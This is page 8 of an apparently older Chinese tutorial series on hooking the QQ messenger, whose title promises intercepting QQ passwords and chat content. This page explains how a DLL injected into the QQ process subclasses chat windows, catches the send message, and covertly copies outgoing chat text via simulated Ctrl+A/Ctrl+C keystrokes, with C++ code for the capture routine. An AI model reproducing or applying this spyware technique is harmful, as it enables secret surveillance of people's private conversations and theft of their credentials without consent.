WEB开发网
开发学院软件开发VC 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ... 阅读

如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴

 2009-02-21 19:59:56 来源:WEB开发网   
核心提示: 被Hook后的QQ托盘信息截取聊天内容在我们注入到QQ进程空间的Dll中启动线程,定时枚举系统中的窗口,如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴(8),当找到聊天窗口时我们需要收集到聊天内容,聊天内容分为“发送”内容和“接收”

被Hook后的QQ托盘信息

截取聊天内容

在我们注入到QQ进程空间的Dll中启动线程,定时枚举系统中的窗口,当找到聊天窗口时我们需要收集到聊天内容。

聊天内容分为“发送”内容和“接收”内容。“接收”的文字内容未做限制,直接用WM_GET_TEXT便能获得。发送的内容比较麻烦一点,首先我们要知道用户何时发送(点“发送”按钮、按快捷键“Ctrl+Enter”、按快捷键“Alt+S”),要解决这些问题,我同样需要截获聊天窗口的消息。

首先我们用EnumWindows()函数在线程中定时查找QQ聊天窗口,一旦发现新的聊天窗口出现,我们立即修改窗口过程函数地址:

    // 修改相关窗口的 WindowProc 地址
    ChangeWindownProc ( pFindQQChatInfoPara->m_hWndChatWindow,
      &pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow,
      WindowProc_ChatWindow );

以上代码将QQ聊天窗口的过程函数改为我们自己的函数“WindowProc_ChatWindow()”,

那用户到底什么时候发送聊天信息呢?我们只要截获消息711即可,收到该消息以后我们将触发一个事件,我们另外的线程便开始工作,将聊天内容通过模拟键盘事件的方式复制出来,然后再保存到我们另外的内存区域里。

  //
  // 获取用户正要发送的聊天内容,保存到数组中
  //
  CString CQQMate::GetWillSentChatText ()
  {
    HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") );
    int nSleepTime = 100;
  
    // 激活“发送文字信息的编辑框”并获取输入焦点
    ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );
    CRect rcEditForSendMessage(0,0,0,0);
    ::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );
    ::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );  
    MouseLeftClick ( rcEditForSendMessage.CenterPoint() );
    
    // 将要发送的文字内容拷贝出来并保存起来
    CString csSendingText;
    for ( int i=0; i<10; i++ )
    {
      GetClipBoardText ();  // 清空剪贴板
      KeyboardCombineEvent ( VK_CONTROL, 'A', '' );
      Sleep(nSleepTime);
      KeyboardCombineEvent ( VK_CONTROL, 'C', '' );
      Sleep(nSleepTime);
      csSendingText = GetClipBoardText();
      HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText );
      if ( !csSendingText.IsEmpty() )
        break;
    }
    HwDbgLog ( L_DEBUG, _T("发送文字信息: %s"), csSendingText );
    if ( csSendingText.IsEmpty() )
    {
      return csSendingText;
    }
    else
    {
      m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText );
    }
  
    return csSendingText;
  }

增加QQ尾巴

上一页  3 4 5 6 7 8 9 10  下一页

Tags:如何 截取 QQ

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接